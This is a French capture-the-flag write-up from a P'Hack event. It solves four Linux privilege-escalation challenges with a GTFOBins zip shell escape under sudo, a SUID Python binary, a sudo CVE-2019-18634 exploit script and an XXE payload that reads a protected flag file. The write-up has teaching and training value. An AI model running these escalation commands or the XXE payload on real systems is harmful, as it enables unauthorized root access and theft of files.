P'Hack - System

Sudoku - 128pts

Lors de l'un de vos tests de sécurité, vous compromettez un serveur applicatif.
Prouvez à vos clients que vous pouvez obtenir des informations sensibles d'autres utilisateurs.

=== Connexion SSH ===
Login : padawan
Mdp :  padawan
Serveur : sudoku.phack.fr

On se connecte au serveur avec les identifiants fournis et on reçoit le message d'accueil suivant :

Bienvenue !
Le flag se trouve dans /home/master/flag.txt
Malheureusement, tu n'as pas les droits de le lire.
Trouves un moyen d'y accéder par toi même.
Bonne chance...

Généralement dans ce genre de challenge, on commence par lancer la commande suivante pour récupérer des informations sur ce qu'on pourrait faire :

$ sudo -l 
User padawan may run the following commands on sudoku:
    (master) NOPASSWD: /usr/bin/zip

On apprend qu'on peut lancer la commande zip en tant que master sans mettre de mot de passe, c'est plutôt un bon début. Un petit tour sur https://gtfobins.github.io/gtfobins/zip/ nous donne l'information des paramètres à utiliser sur la commande zip pour otenir un shell. On lance donc les commandes suivantes :

$ cd /home/master
$ sudo -u master zip plop.zip flag.txt --test --unzip-command 'sh #'
$ whoami
master

On a réussi à avoir un shell en tant que master, on a plus qu'à lire le fichier et le flag est disponible.

$ cat flag.txt 
PHACK{U_h4v3_tH3_suP3r_P0w3r}

To B, or ! to B - 128pts

Votre client vous remercie pour votre travail et vous assure qu'il a fait les modifications nécessaires pour améliorer la sécurité de son serveur applicatif.
Prouvez-lui que ce n'est toujours pas suffisant.

=== Connexion SSH ===
Login : padawan
Mdp :  padawan
Serveur : toBOrNot2B.phack.fr

On se connecte sur le nouveau serveur, même message que précédemment mais cette fois la commande sudo n'est pas disponible. On tente de chercher les fichiers qui aurait un suid avec la commande suivante.

$ find / -perm -4000 2>> /dev/null
/usr/bin/python3.8

On vérifie cet exécutable avec

$ ls -l /usr/bin/python3.8
-rwsr-xr-x    1 master   root         14048 Mar 15 12:52 /usr/bin/python3.8

Justement le suid est pour l'utilisateur master. On va donc se servir de python pour devenir master et lire le fichier.

$ ./python3.8 -c 'print(open("/home/master/flag.txt", "r").read());'
PHACK{U_4r3_hiM_bu7_h3's_n07_U}

Sudoku v2 - 256pts

L'administrateur du serveur a voulu vous aider en ajoutant une aide visuelle lors de la saisie de votre mot de passe.
Hum Hum.. C'est pas une bonne idée !

=== Connexion SSH ===
Login : padawan
Mdp :  padawan
Serveur : sudoku2.phack.fr

On commence par lancer la commande sudo pour vérifier si on a pas des droits sur quelque chose

$ sudo -l
[sudo] password for padawan:********
Sorry, user padawan may not run sudo on sudoku-2.

Il semble qu'on soit tombé sur cette histoire d'aide visuelle justement. On va en apprendre un peu plus sur sudo avec la commande suivante

$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

Une petite recherche google nous apprend qu'on peut exploiter cette version quand l'aide visuelle est justement activé https://nvd.nist.gov/vuln/detail/CVE-2019-18634. On trouve ce repo github contenant plusieurs exploits pour sudo. On ne récupère que celui qui nous intéresse.

TH3xACE/SUDO_KILLER
A tool to identify and exploit sudo rules’ misconfigurations and vulnerabilities within sudo for linux privilege escalation. - TH3xACE/SUDO_KILLER

On lance l'exploit et on obtient un shell root en quelques secondes

$ ./CVE-2019-18634.sh
[sudo] password for padawan: 
Sorry, try again.
Sorry, try again.
bash-5.1# exit
sudo: 3 incorrect password attempts
Exploiting!
# whoami
root

Il ne nous reste plus qu'à lire le fichier maintenant qu'on est root.

# cat /home/master/flag.txt      
PHACK{*_****_****_****_***_**_*_****_***}

Et oui, le flag est plein d'étoiles...

Graduated - 256pts

Vous avez raté votre examen de PHP. Cheh!
Furieux, vous avez décidé de prouver vos compétences en modifiant directement votre note sur le serveur de votre école.
Vous avez réussi à compromettre les identifiants de votre professeur absent.

=== Connexion SSH ===
Login : teacher
Mdp :  teacher
Serveur : graduated.phack.fr

Et le message de bienvenue du serveur

Bienvenue !
Le flag se trouve dans /home/rector/flag.txt
Malheureusement, tu n'as pas les droits de le lire.
Trouves un moyen d'y accéder par toi même.
Bonne chance...

On va faire un tour dans le home de l'utilisateur rector et on y découvre plusieurs choses :

$ ls -l
total 2236
-r--------    1 rector   root            39 Apr  1 22:56 flag.txt
-rw-r--r--    1 rector   nogroup      12288 Apr  7 09:49 graduation.db
-rw-r--r--    1 rector   root       2257947 Apr 11 15:06 integrator.log
-r-xr-----    1 rector   root          4708 Apr  1 22:56 integrator.py

Le fichier graduation.db semble être une base de données SQLite qui contient les notes des élèves justement. Et le fichier integrator.log on suppose est le log de l'exécution du script python integrator.py auquel nous n'avons pas accès.

$ tail -n 10 integrator.log 
11/04/2021 15:07:00     [+] Lancement de l'intégration
11/04/2021 15:07:00     [+] Analye des fichiers dans "/home/teacher/evaluations/".
11/04/2021 15:07:00     [+] Intégration terminée


11/04/2021 15:08:00     [+] Lancement de l'intégration
11/04/2021 15:08:00     [+] Analye des fichiers dans "/home/teacher/evaluations/".
11/04/2021 15:08:00     [+] Intégration terminée

On suppose que le script analyse un fichier dans /home/teacher/evaluations/ pour l'intégrer dans la base de données SQLite. On retourne dans notre home directory et on trouve un fichier template.xml qui contient le XML suivant

$ cat template.xml 
<?xml version="1.0" encoding="utf-8"?>
<evaluation>
  <student>
    <firstname>Xavier</firstname>
    <lastname>DUPONT DE L</lastname>
  </student>
  <grade>15</grade>
  <subject>Biologie</subject>
  <teacher>
    <firstname>Emile</firstname>
    <lastname>LOUIS</lastname>
  </teacher>
  <comment>Elève motivé et consciencieux. Ne parle pas beaucoup avec les autres étudiants. Attention : Absence en cours depuis plusieurs semaines.</comment>
</evaluation>

On essaie de changer le texte puis de mettre ce template dans le dossier ./evaluations et une minute plus tard, il est intégré dans la base de données. On a donc trouvé d'où viennent les notes. Pour obtenir un peu plus d'information sur ce qui est utilisé dans le script python, on va volontairement lui fournir un xml non valide. Une fois intégré, on retourne voir le log et on découvre :

11/04/2021 15:14:00     [+] Lancement de l'intégration
11/04/2021 15:14:00     [+] Analye des fichiers dans "/home/teacher/evaluations/".
11/04/2021 15:14:00     [+] Fichier "aa.xml" en cours d'analyse.
Traceback (most recent call last):
  File "/home/rector/integrator.py", line 137, in <module>
    process()
  File "/home/rector/integrator.py", line 104, in process
    tree = etree.parse(GRADE_FOLDER_PATH + filename, parser)
  File "src/lxml/etree.pyx", line 3521, in lxml.etree.parse
  File "src/lxml/parser.pxi", line 1859, in lxml.etree._parseDocument
  File "src/lxml/parser.pxi", line 1885, in lxml.etree._parseDocumentFromURL
  File "src/lxml/parser.pxi", line 1789, in lxml.etree._parseDocFromFile
  File "src/lxml/parser.pxi", line 1177, in lxml.etree._BaseParser._parseDocFromFile
  File "src/lxml/parser.pxi", line 615, in lxml.etree._ParserContext._handleParseResultDoc
  File "src/lxml/parser.pxi", line 725, in lxml.etree._handleParseResult
  File "src/lxml/parser.pxi", line 654, in lxml.etree._raiseParseError
  File "/home/teacher/evaluations/aa.xml", line 16
lxml.etree.XMLSyntaxError: EndTag: '</' not found, line 16, column 1

On apprend que le parseur XML utilisé est lxml. On va tester une Injection XXE (XML eXternal Entity) pour essayer de faire lire le flag lors du parsing XML. On créé le fichier suivant

<!DOCTYPE evaluation [
        <!ENTITY flagme SYSTEM "/home/rector/flag.txt">
]>
<evaluation>
  <student>
    <firstname>PLOP</firstname>
    <lastname>BOUHBOUH</lastname>
  </student>
  <grade>12</grade>
  <subject>Bio</subject>
  <teacher>
    <firstname>Emile</firstname>
    <lastname>LOUIS</lastname>
  </teacher>
  <comment>un petit commentaire &flagme;</comment>
</evaluation>

Et après une minute, notre fichier est lu et intégré par le script python, un simple cat sur le fichier de base de données nous permet de récupérer le flag

PHACK{XmL_3x7Ern4l_3n7i7iEs_fr0m_b4sH}
Afficher les commentaires